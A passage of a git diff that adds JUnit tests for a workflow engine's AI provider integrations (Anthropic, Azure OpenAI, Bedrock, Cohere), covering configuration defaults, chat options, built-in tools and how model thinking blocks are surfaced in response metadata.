The HTTP layer is stubbed via Mockito; only the request building and response parsing in + * {@link AnthropicChatModel} are exercised. + */ +class AnthropicChatModelReasoningTest { + + private static ResponseContentBlock textBlock(String text) { + return new ResponseContentBlock("text", text, null, null, null, null, null, null); + } + + private static ResponseContentBlock thinkingBlock(String thinking) { + return new ResponseContentBlock( + "thinking", null, null, null, null, thinking, "sig_" + thinking.hashCode(), null); + } + + @Test + void reasoningSummarySetAndThinkingPresent_surfacesOnMetadata() throws Exception { + AnthropicMessagesApi api = mock(AnthropicMessagesApi.class); + MessagesResponse canned = + new MessagesResponse( + "msg_abc", + "message", + "assistant", + List.of( + thinkingBlock("First let me think about this carefully."), + thinkingBlock("On reflection, the answer is B."), + textBlock("The answer is B.")), + "claude-sonnet-4-5", + "end_turn", + null, + new ResponseUsage(10, 50, null, null)); + when(api.createMessage(any(MessagesRequest.class))).thenReturn(canned); + + AnthropicChatModel chatModel = new AnthropicChatModel(api); + + AnthropicChatOptions options = + AnthropicChatOptions.builder() + .model("claude-sonnet-4-5") + .maxTokens(1024) + .thinkingBudgetTokens(2000) + .reasoningSummary("auto") + .build(); + ChatResponse response = chatModel.call(new Prompt("Pick A or B.", options)); + + // The visible text comes back as the generation output, thinking is filtered out. + assertEquals("The answer is B.", response.getResult().getOutput().getText()); + + // Thinking blocks get concatenated with \n\n into the reasoning metadata key. + Object reasoning = response.getMetadata().get("reasoning"); + assertNotNull(reasoning, "thinking blocks must surface on metadata['reasoning']"); + String reasoningText = reasoning.toString(); + assertTrue( + reasoningText.contains("First let me think about this carefully."), + "first thinking block must appear: " + reasoningText); + assertTrue( + reasoningText.contains("On reflection, the answer is B."), + "second thinking block must appear: " + reasoningText); + + // Anthropic does not break out a reasoning_tokens counter — thinking is + // billed under output_tokens — so we must NOT write that key. Lying about + // it would be worse than omitting. + assertNull( + response.getMetadata().get("reasoning_tokens"), + "Anthropic has no separate reasoning_tokens counter; key must be absent"); + } + + @Test + void reasoningSummaryNotSet_thinkingIsDropped() throws Exception { + // Without an explicit opt-in, the response stays clean — even if the + // model returns thinking blocks. Matches the OpenAI/Gemini gate: the + // reasoningSummary field is the universal "I want to see the chain + // of thought" flag across providers. + AnthropicMessagesApi api = mock(AnthropicMessagesApi.class); + MessagesResponse canned = + new MessagesResponse( + "msg_def", + "message", + "assistant", + List.of(thinkingBlock("Ignored chain of thought."), textBlock("Hi.")), + "claude-sonnet-4-5", + "end_turn", + null, + new ResponseUsage(5, 4, null, null)); + when(api.createMessage(any(MessagesRequest.class))).thenReturn(canned); + + AnthropicChatModel chatModel = new AnthropicChatModel(api); + AnthropicChatOptions options = + AnthropicChatOptions.builder() + .model("claude-sonnet-4-5") + .maxTokens(1024) + .thinkingBudgetTokens(2000) + // reasoningSummary intentionally unset + .build(); + + ChatResponse response = chatModel.call(new Prompt("hi", options)); + + assertEquals("Hi.", response.getResult().getOutput().getText()); + assertNull( + response.getMetadata().get("reasoning"), + "no reasoningSummary opt-in ⇒ thinking blocks must NOT leak onto metadata"); + } + + @Test + void reasoningSummarySet_butNoThinkingBlocksReturned_metadataAbsent() throws Exception { + // If the model returned no thinking blocks at all, we must not write an + // empty reasoning entry. Symmetric with the OpenAI behavior. + AnthropicMessagesApi api = mock(AnthropicMessagesApi.class); + MessagesResponse canned = + new MessagesResponse( + "msg_ghi", + "message", + "assistant", + List.of(textBlock("Plain answer.")), + "claude-sonnet-4-5", + "end_turn", + null, + new ResponseUsage(5, 3, null, null)); + when(api.createMessage(any(MessagesRequest.class))).thenReturn(canned); + + AnthropicChatModel chatModel = new AnthropicChatModel(api); + AnthropicChatOptions options = + AnthropicChatOptions.builder() + .model("claude-sonnet-4-5") + .maxTokens(1024) + .reasoningSummary("detailed") + .build(); + + ChatResponse response = chatModel.call(new Prompt("hi", options)); + + assertEquals("Plain answer.", response.getResult().getOutput().getText()); + assertNull( + response.getMetadata().get("reasoning"), + "no thinking blocks ⇒ reasoning metadata must be absent"); + } + + @Test + void blankThinkingTextDoesNotProduceTrailingDelimiter() throws Exception { + // Edge case: a thinking block with blank text must not contribute to + // the reasoning string or introduce an orphaned "\n\n" delimiter. + AnthropicMessagesApi api = mock(AnthropicMessagesApi.class); + MessagesResponse canned = + new MessagesResponse( + "msg_jkl", + "message", + "assistant", + List.of( + thinkingBlock("Real thought."), + new ResponseContentBlock( + "thinking", null, null, null, null, " ", "sig", null), + textBlock("Out.")), + "claude-sonnet-4-5", + "end_turn", + null, + new ResponseUsage(5, 5, null, null)); + when(api.createMessage(any(MessagesRequest.class))).thenReturn(canned); + + AnthropicChatModel chatModel = new AnthropicChatModel(api); + AnthropicChatOptions options = + AnthropicChatOptions.builder() + .model("claude-sonnet-4-5") + .maxTokens(512) + .reasoningSummary("auto") + .build(); + + ChatResponse response = chatModel.call(new Prompt("hi", options)); + + String reasoning = (String) response.getMetadata().get("reasoning"); + assertEquals( + "Real thought.", reasoning, "blank thinking must be ignored, not concatenated"); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicConfigurationTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicConfigurationTest.java new file mode 100644 index 0000000..d0569d7 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicConfigurationTest.java @@ -0,0 +1,66 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.anthropic; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +class AnthropicConfigurationTest { + + @Test + void testDefaultBaseURL() { + AnthropicConfiguration config = new AnthropicConfiguration(); + assertEquals("https://api.anthropic.com", config.getBaseURL()); + } + + @Test + void testCustomBaseURL() { + AnthropicConfiguration config = new AnthropicConfiguration(); + config.setBaseURL("https://custom.anthropic.com"); + assertEquals("https://custom.anthropic.com", config.getBaseURL()); + } + + @Test + void testGetCreatesAnthropicInstance() { + AnthropicConfiguration config = new AnthropicConfiguration(); + config.setApiKey("test-key"); + + Anthropic result = config.get(); + + assertNotNull(result); + assertEquals("anthropic", result.getModelProvider()); + } + + @Test + void testAllArgsConstructor() { + AnthropicConfiguration config = + new AnthropicConfiguration( + "api-key", "https://custom.url", "v1", "beta", "/completions", null); + + assertEquals("api-key", config.getApiKey()); + assertEquals("https://custom.url", config.getBaseURL()); + assertEquals("v1", config.getVersion()); + assertEquals("beta", config.getBetaVersion()); + assertEquals("/completions", config.getCompletionsPath()); + } + + @Test + void testNoArgsConstructor() { + AnthropicConfiguration config = new AnthropicConfiguration(); + assertNull(config.getApiKey()); + assertNull(config.getVersion()); + assertNull(config.getBetaVersion()); + assertNull(config.getCompletionsPath()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicTest.java new file mode 100644 index 0000000..68e7bbc --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicTest.java @@ -0,0 +1,256 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.anthropic; + +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.ToolSpec; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledIfEnvironmentVariable; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.prompt.Prompt; + +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.*; + +class AnthropicTest { + + private static final String ENV_API_KEY = "ANTHROPIC_API_KEY"; + + @Nested + class UnitTests { + + private Anthropic anthropic; + + @BeforeEach + void setUp() { + AnthropicConfiguration config = new AnthropicConfiguration(); + config.setApiKey("test-api-key"); + anthropic = new Anthropic(config, new OkHttpClient()); + } + + @Test + void testGetModelProvider() { + assertEquals("anthropic", anthropic.getModelProvider()); + } + + @Test + void testGenerateEmbeddings_throwsUnsupportedException() { + assertThrows( + UnsupportedOperationException.class, () -> anthropic.generateEmbeddings(null)); + } + + @Test + void testGetImageModel_throwsUnsupportedException() { + assertThrows(UnsupportedOperationException.class, () -> anthropic.getImageModel()); + } + + @Test + void testGetChatOptions_basicOptions() { + ChatCompletion input = new ChatCompletion(); + input.setModel("claude-sonnet-4-6"); + input.setMaxTokens(1000); + input.setTemperature(0.7); + input.setTopP(0.9); + + var options = anthropic.getChatOptions(input); + + assertNotNull(options); + assertInstanceOf(AnthropicChatOptions.class, options); + AnthropicChatOptions opts = (AnthropicChatOptions) options; + assertEquals("claude-sonnet-4-6", opts.getModel()); + assertEquals(1000, opts.getMaxTokens()); + assertEquals(0.7, opts.getTemperature()); + assertEquals(0.9, opts.getTopP()); + } + + @Test + void testGetChatOptions_withThinkingMode() { + ChatCompletion input = new ChatCompletion(); + input.setModel("claude-sonnet-4-20250514"); + input.setMaxTokens(16000); + input.setTemperature(0.5); + input.setThinkingTokenLimit(10000); + + var options = anthropic.getChatOptions(input); + + assertNotNull(options); + assertInstanceOf(AnthropicChatOptions.class, options); + AnthropicChatOptions opts = (AnthropicChatOptions) options; + assertEquals(10000, opts.getThinkingBudgetTokens()); + assertEquals(1.0, opts.getTemperature()); // Forced to 1.0 for thinking + } + + @Test + void testGetChatOptions_withTools() { + ChatCompletion input = new ChatCompletion(); + input.setModel("claude-sonnet-4-6"); + input.setMaxTokens(1000); + + ToolSpec tool = new ToolSpec(); + tool.setName("test_tool"); + tool.setDescription("A test tool"); + tool.setInputSchema(Map.of("type", "object", "properties", Map.of())); + input.setTools(List.of(tool)); + + var options = anthropic.getChatOptions(input); + + assertNotNull(options); + assertInstanceOf(AnthropicChatOptions.class, options); + AnthropicChatOptions opts = (AnthropicChatOptions) options; + assertNotNull(opts.getTools()); + assertEquals(1, opts.getTools().size()); + assertEquals("test_tool", opts.getTools().getFirst().name()); + assertEquals("custom", opts.getTools().getFirst().type()); + } + + @Test + void testGetChatModel_createsModel() { + var chatModel = anthropic.getChatModel(); + assertNotNull(chatModel); + assertInstanceOf(AnthropicChatModel.class, chatModel); + } + + @Test + void testGetChatOptions_withWebSearch() { + ChatCompletion input = new ChatCompletion(); + input.setModel("claude-sonnet-4-6"); + input.setMaxTokens(500); + input.setWebSearch(true); + + var options = anthropic.getChatOptions(input); + + assertInstanceOf(AnthropicChatOptions.class, options); + AnthropicChatOptions opts = (AnthropicChatOptions) options; + assertNotNull(opts.getTools()); + assertTrue( + opts.getTools().stream() + .anyMatch( + t -> + "web_search_20250305".equals(t.type()) + && "web_search".equals(t.name()))); + } + + @Test + void testGetChatOptions_withCodeExecution() { + ChatCompletion input = new ChatCompletion(); + input.setModel("claude-sonnet-4-6"); + input.setMaxTokens(500); + input.setCodeInterpreter(true); + + var options = anthropic.getChatOptions(input); + + assertInstanceOf(AnthropicChatOptions.class, options); + AnthropicChatOptions opts = (AnthropicChatOptions) options; + assertNotNull(opts.getTools()); + assertTrue( + opts.getTools().stream() + .anyMatch( + t -> + "code_execution_20250825".equals(t.type()) + && "code_execution".equals(t.name()))); + } + + @Test + void testGetChatOptions_withBothBuiltInTools() { + ChatCompletion input = new ChatCompletion(); + input.setModel("claude-sonnet-4-6"); + input.setMaxTokens(500); + input.setWebSearch(true); + input.setCodeInterpreter(true); + + var options = anthropic.getChatOptions(input); + + assertInstanceOf(AnthropicChatOptions.class, options); + AnthropicChatOptions opts = (AnthropicChatOptions) options; + assertNotNull(opts.getTools()); + assertEquals(2, opts.getTools().size()); + } + + @Test + void testGetChatOptions_noTools() { + ChatCompletion input = new ChatCompletion(); + input.setModel("claude-sonnet-4-6"); + input.setMaxTokens(500); + + var options = anthropic.getChatOptions(input); + + assertInstanceOf(AnthropicChatOptions.class, options); + AnthropicChatOptions opts = (AnthropicChatOptions) options; + assertNull(opts.getTools()); + } + } + + @Nested + @EnabledIfEnvironmentVariable(named = ENV_API_KEY, matches = ".+") + class IntegrationTests { + + private Anthropic anthropic; + + @BeforeEach + void setUp() { + AnthropicConfiguration config = new AnthropicConfiguration(); + config.setApiKey(System.getenv(ENV_API_KEY)); + anthropic = new Anthropic(config, new OkHttpClient()); + } + + @Test + void testChatCompletion() { + ChatCompletion input = new ChatCompletion(); + input.setModel("claude-haiku-4-5"); + input.setMaxTokens(100); + input.setTemperature(0.7); + + var chatModel = anthropic.getChatModel(); + var options = anthropic.getChatOptions(input); + + Prompt prompt = new Prompt(List.of(new UserMessage("Say hello in one word")), options); + var response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + assertNotNull(response.getResult().getOutput()); + assertFalse(response.getResult().getOutput().getText().isEmpty()); + } + + @Test + void testChatCompletion_withThinking() { + // Lightweight smoke check for the legacy ``thinking.type=enabled`` shape on a model + // that still accepts it. Coverage for the Opus 4.7 adaptive-thinking translation + // (the production fix that motivates the regression suite) lives in + // ``AIModelIntegrationTest.AnthropicTests`` so it sits alongside the other live + // provider tests. + ChatCompletion input = new ChatCompletion(); + input.setModel("claude-sonnet-4-6"); + input.setMaxTokens(16000); + input.setThinkingTokenLimit(10000); + + var chatModel = anthropic.getChatModel(); + var options = anthropic.getChatOptions(input); + + Prompt prompt = + new Prompt( + List.of(new UserMessage("What is 2 + 2? Think step by step.")), + options); + var response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAIConfigurationTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAIConfigurationTest.java new file mode 100644 index 0000000..9cedbf1 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAIConfigurationTest.java @@ -0,0 +1,54 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.azureopenai; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +class AzureOpenAIConfigurationTest { + + @Test + void testGetCreatesAzureOpenAIInstance() { + AzureOpenAIConfiguration config = new AzureOpenAIConfiguration(); + config.setApiKey("test-key"); + config.setBaseURL("https://myresource.openai.azure.com"); + config.setDeploymentName("gpt-4"); + + AzureOpenAI result = config.get(); + + assertNotNull(result); + assertEquals("azure_openai", result.getModelProvider()); + } + + @Test + void testAllArgsConstructor() { + AzureOpenAIConfiguration config = + new AzureOpenAIConfiguration( + "api-key", "https://custom.url", "user-1", "gpt-4", null); + + assertEquals("api-key", config.getApiKey()); + assertEquals("https://custom.url", config.getBaseURL()); + assertEquals("user-1", config.getUser()); + assertEquals("gpt-4", config.getDeploymentName()); + } + + @Test + void testNoArgsConstructor() { + AzureOpenAIConfiguration config = new AzureOpenAIConfiguration(); + assertNull(config.getApiKey()); + assertNull(config.getBaseURL()); + assertNull(config.getUser()); + assertNull(config.getDeploymentName()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAITest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAITest.java new file mode 100644 index 0000000..048838e --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/azureopenai/AzureOpenAITest.java @@ -0,0 +1,150 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.azureopenai; + +import java.util.List; + +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.ImageGenRequest; +import org.conductoross.conductor.ai.providers.openai.OpenAIHttpImageModel; +import org.conductoross.conductor.ai.providers.openai.OpenAIResponsesChatModel; +import org.conductoross.conductor.ai.providers.openai.OpenAIResponsesChatOptions; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledIfEnvironmentVariable; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.prompt.Prompt; + +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.*; + +class AzureOpenAITest { + + private static final String ENV_API_KEY = "AZURE_OPENAI_API_KEY"; + private static final String ENV_ENDPOINT = "AZURE_OPENAI_ENDPOINT"; + + @Nested + class UnitTests { + + private AzureOpenAI azureOpenAI; + + @BeforeEach + void setUp() { + AzureOpenAIConfiguration config = new AzureOpenAIConfiguration(); + config.setApiKey("test-api-key"); + config.setBaseURL("https://myresource.openai.azure.com"); + config.setDeploymentName("gpt-4"); + azureOpenAI = new AzureOpenAI(config, new OkHttpClient()); + } + + @Test + void testGetModelProvider() { + assertEquals("azure_openai", azureOpenAI.getModelProvider()); + } + + @Test + void testGetChatOptions_basicOptions() { + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-4"); + input.setMaxTokens(1000); + input.setTemperature(0.7); + + var options = azureOpenAI.getChatOptions(input); + + assertNotNull(options); + assertInstanceOf(OpenAIResponsesChatOptions.class, options); + assertEquals("gpt-4", options.getModel()); + } + + @Test + void testGetImageOptions() { + ImageGenRequest input = new ImageGenRequest(); + input.setModel("gpt-image-1"); + input.setHeight(1024); + input.setWidth(1024); + input.setN(1); + + var options = azureOpenAI.getImageOptions(input); + + assertNotNull(options); + } + + @Test + void testGetChatModel_createsResponsesModel() { + var chatModel = azureOpenAI.getChatModel(); + assertNotNull(chatModel); + assertInstanceOf(OpenAIResponsesChatModel.class, chatModel); + } + + @Test + void testGetImageModel_createsHttpModel() { + var imageModel = azureOpenAI.getImageModel(); + assertNotNull(imageModel); + assertInstanceOf(OpenAIHttpImageModel.class, imageModel); + } + } + + @Nested + @EnabledIfEnvironmentVariable(named = ENV_API_KEY, matches = ".+") + @EnabledIfEnvironmentVariable(named = ENV_ENDPOINT, matches = ".+") + class IntegrationTests { + + private AzureOpenAI azureOpenAI; + + @BeforeEach + void setUp() { + AzureOpenAIConfiguration config = new AzureOpenAIConfiguration(); + config.setApiKey(System.getenv(ENV_API_KEY)); + config.setBaseURL(System.getenv(ENV_ENDPOINT)); + config.setDeploymentName( + System.getenv("AZURE_OPENAI_DEPLOYMENT") != null + ? System.getenv("AZURE_OPENAI_DEPLOYMENT") + : "gpt-4o-mini"); + azureOpenAI = new AzureOpenAI(config, new OkHttpClient()); + } + + @Test + void testChatCompletion() { + ChatCompletion input = new ChatCompletion(); + input.setModel("gpt-4o-mini"); + input.setMaxTokens(100); + input.setTemperature(0.7); + + var chatModel = azureOpenAI.getChatModel(); + var options = azureOpenAI.getChatOptions(input); + + Prompt prompt = new Prompt(List.of(new UserMessage("Say hello in one word")), options); + var response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + assertNotNull(response.getResult().getOutput()); + assertFalse(response.getResult().getOutput().getText().isEmpty()); + } + + @Test + void testEmbeddings() { + EmbeddingGenRequest request = new EmbeddingGenRequest(); + request.setModel("text-embedding-ada-002"); + request.setText("Hello world"); + + var embeddings = azureOpenAI.generateEmbeddings(request); + + assertNotNull(embeddings); + assertFalse(embeddings.isEmpty()); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/bedrock/BedrockConfigurationTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/bedrock/BedrockConfigurationTest.java new file mode 100644 index 0000000..d61705a --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/bedrock/BedrockConfigurationTest.java @@ -0,0 +1,102 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.bedrock; + +import org.junit.jupiter.api.Test; + +import software.amazon.awssdk.auth.credentials.AnonymousCredentialsProvider; +import software.amazon.awssdk.auth.credentials.AwsBasicCredentials; +import software.amazon.awssdk.auth.credentials.StaticCredentialsProvider; + +import static org.junit.jupiter.api.Assertions.*; + +class BedrockConfigurationTest { + + @Test + void testDefaultRegion() { + BedrockConfiguration config = new BedrockConfiguration(); + assertEquals("us-east-1", config.getRegion()); + } + + @Test + void testGetCreatesBedrockInstance() { + BedrockConfiguration config = new BedrockConfiguration(); + config.setAccessKey("access-key"); + config.setSecretKey("secret-key"); + + Bedrock result = config.get(); + + assertNotNull(result); + assertEquals("bedrock", result.getModelProvider()); + } + + @Test + void testAwsCredentialsProvider_withAccessKeyAndSecret() { + BedrockConfiguration config = new BedrockConfiguration(); + config.setAccessKey("my-access-key"); + config.setSecretKey("my-secret-key"); + + var provider = config.getAwsCredentialsProvider(); + + assertNotNull(provider); + assertTrue(provider instanceof StaticCredentialsProvider); + } + + @Test + void testAwsCredentialsProvider_withBearerToken() { + BedrockConfiguration config = new BedrockConfiguration(); + config.setBearerToken("my-bearer-token"); + + var provider = config.getAwsCredentialsProvider(); + + assertNotNull(provider); + assertTrue(provider instanceof AnonymousCredentialsProvider); + } + + @Test + void testIsBearerTokenConfigured_true() { + BedrockConfiguration config = new BedrockConfiguration(); + config.setBearerToken("token"); + assertTrue(config.isBearerTokenConfigured()); + } + + @Test + void testIsBearerTokenConfigured_false() { + BedrockConfiguration config = new BedrockConfiguration(); + assertFalse(config.isBearerTokenConfigured()); + + config.setBearerToken(" "); + assertFalse(config.isBearerTokenConfigured()); + } + + @Test + void testAwsCredentialsProvider_customProviderPreferred() { + BedrockConfiguration config = new BedrockConfiguration(); + var customProvider = + StaticCredentialsProvider.create( + AwsBasicCredentials.create("custom", "credentials")); + config.setAwsCredentialsProvider(customProvider); + + var result = config.getAwsCredentialsProvider(); + assertEquals(customProvider, result); + } + + @Test + void testNoArgsConstructor() { + BedrockConfiguration config = new BedrockConfiguration(); + assertNull(config.getAccessKey()); + assertNull(config.getSecretKey()); + assertNull(config.getBearerToken()); + assertEquals("us-east-1", config.getRegion()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/bedrock/BedrockTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/bedrock/BedrockTest.java new file mode 100644 index 0000000..adbd690 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/bedrock/BedrockTest.java @@ -0,0 +1,126 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.bedrock; + +import java.util.List; + +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledIfEnvironmentVariable; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.prompt.Prompt; + +import static org.junit.jupiter.api.Assertions.*; + +class BedrockTest { + + private static final String ENV_ACCESS_KEY = "AWS_ACCESS_KEY_ID"; + private static final String ENV_SECRET_KEY = "AWS_SECRET_ACCESS_KEY"; + + @Nested + class UnitTests { + + private Bedrock bedrock; + + @BeforeEach + void setUp() { + BedrockConfiguration config = new BedrockConfiguration(); + config.setAccessKey("test-access-key"); + config.setSecretKey("test-secret-key"); + config.setRegion("us-east-1"); + bedrock = new Bedrock(config); + } + + @Test + void testGetModelProvider() { + assertEquals("bedrock", bedrock.getModelProvider()); + } + + @Test + void testGetChatOptions_basicOptions() { + ChatCompletion input = new ChatCompletion(); + input.setModel("anthropic.claude-3-haiku-20240307-v1:0"); + input.setMaxTokens(1000); + input.setTemperature(0.7); + + var options = bedrock.getChatOptions(input); + + assertNotNull(options); + } + + @Test + void testGetChatModel_createsModel() { + var chatModel = bedrock.getChatModel(); + assertNotNull(chatModel); + } + + @Test + void testGetImageModel_throwsUnsupportedException() { + assertThrows(UnsupportedOperationException.class, () -> bedrock.getImageModel()); + } + } + + @Nested + @EnabledIfEnvironmentVariable(named = ENV_ACCESS_KEY, matches = ".+") + @EnabledIfEnvironmentVariable(named = ENV_SECRET_KEY, matches = ".+") + class IntegrationTests { + + private Bedrock bedrock; + + @BeforeEach + void setUp() { + BedrockConfiguration config = new BedrockConfiguration(); + config.setAccessKey(System.getenv(ENV_ACCESS_KEY)); + config.setSecretKey(System.getenv(ENV_SECRET_KEY)); + config.setRegion( + System.getenv("AWS_REGION") != null + ? System.getenv("AWS_REGION") + : "us-east-1"); + bedrock = new Bedrock(config); + } + + @Test + void testChatCompletion() { + ChatCompletion input = new ChatCompletion(); + input.setModel("anthropic.claude-3-haiku-20240307-v1:0"); + input.setMaxTokens(100); + input.setTemperature(0.7); + + var chatModel = bedrock.getChatModel(); + var options = bedrock.getChatOptions(input); + + Prompt prompt = new Prompt(List.of(new UserMessage("Say hello in one word")), options); + var response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + assertNotNull(response.getResult().getOutput()); + assertFalse(response.getResult().getOutput().getText().isEmpty()); + } + + @Test + void testEmbeddings() { + EmbeddingGenRequest request = new EmbeddingGenRequest(); + request.setModel("amazon.titan-embed-text-v2:0"); + request.setText("Hello world"); + + var embeddings = bedrock.generateEmbeddings(request); + + assertNotNull(embeddings); + assertFalse(embeddings.isEmpty()); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/cohere/CohereAIConfigurationTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/cohere/CohereAIConfigurationTest.java new file mode 100644 index 0000000..66af67e --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/cohere/CohereAIConfigurationTest.java @@ -0,0 +1,52 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.cohere; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +class CohereAIConfigurationTest { + + @Test + void testDefaultBaseURL() { + CohereAIConfiguration config = new CohereAIConfiguration(); + assertEquals("https://api.cohere.ai", config.getBaseURL()); + } + + @Test + void testGetCreatesCohereAIInstance() { + CohereAIConfiguration config = new CohereAIConfiguration(); + config.setApiKey("test-key"); + + CohereAI result = config.get(); + + assertNotNull(result); + assertEquals("cohere", result.getModelProvider()); + } + + @Test + void testAllArgsConstructor() { + CohereAIConfiguration config = + new CohereAIConfiguration("api-key", "https://custom.cohere.ai", null); + + assertEquals("api-key", config.getApiKey()); + assertEquals("https://custom.cohere.ai", config.getBaseURL()); + } + + @Test + void testNoArgsConstructor() { + CohereAIConfiguration config = new CohereAIConfiguration(); + assertNull(config.getApiKey()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/cohere/CohereAITest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/cohere/CohereAITest.java new file mode 100644 index 0000000..ce03ed0 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/cohere/CohereAITest.java @@ -0,0 +1,162 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

